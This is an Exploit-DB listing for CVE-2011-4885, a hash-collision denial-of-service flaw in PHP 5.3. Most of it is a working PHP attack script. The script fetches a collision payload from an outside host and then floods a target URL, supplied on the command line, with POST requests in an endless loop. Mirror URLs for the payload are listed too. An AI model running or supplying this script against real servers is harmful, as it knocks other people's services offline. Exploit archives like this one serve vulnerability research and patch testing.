PHP Hashtables Denial of Service



EDB-ID: 18296 CVE: 2011-4885 OSVDB-ID: 78115
Author: infodox Published: 2012-01-01 Verified: Not Verified
Exploit Code:   Download Vulnerable App:   N/A

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# Exploit Title: CVE-2011-4885 PHP Hashtables Denial of Service
Exploit
 # Date: 1/1/12
 # Author: infodox
 # Software Link: php.net
 #
Version: 5.3.*
 # Tested on: Linux
 # CVE : CVE-2011-4885 

Exploit
Download -- http://infodox.co.cc/Downloads/phpdos.txt 

<?php
/*
PHP 5.3.* Hash Colission DoS Exploit by infodox
Original version by itz me (opensc.ws)
CVE-2011-4885

Mirrors List:
http://www.exploit-db.com/sploits/hashcollide.txt
http://compsoc.nuigalway.ie/~infodox/hashcollide.txt
http://jrs-s.net/hashcollide.txt
http://www.infodox.co.cc/Downloads/hashcollide.txt

Changes:
Different mirror for hashcollide.txt
Now takes target as a command line argument
Status message printing

Twitter: @info_dox
Blog: blog.infodox.co.cc
Site: http://www.infodox.co.cc/
*/
$targ = $argv[1];
$x = file_get_contents("http://jrs-s.net/hashcollide.txt"); // if this doesnt work replace with the mirrors_lst ones...
while(1) {
 echo "firing";
 $ch = curl_init("$targ");
 curl_setopt($ch, CURLOPT_POSTFIELDS, $x);
 curl_exec($ch);
 curl_close($ch);
 echo "[+] Voly Sent!";
}
?>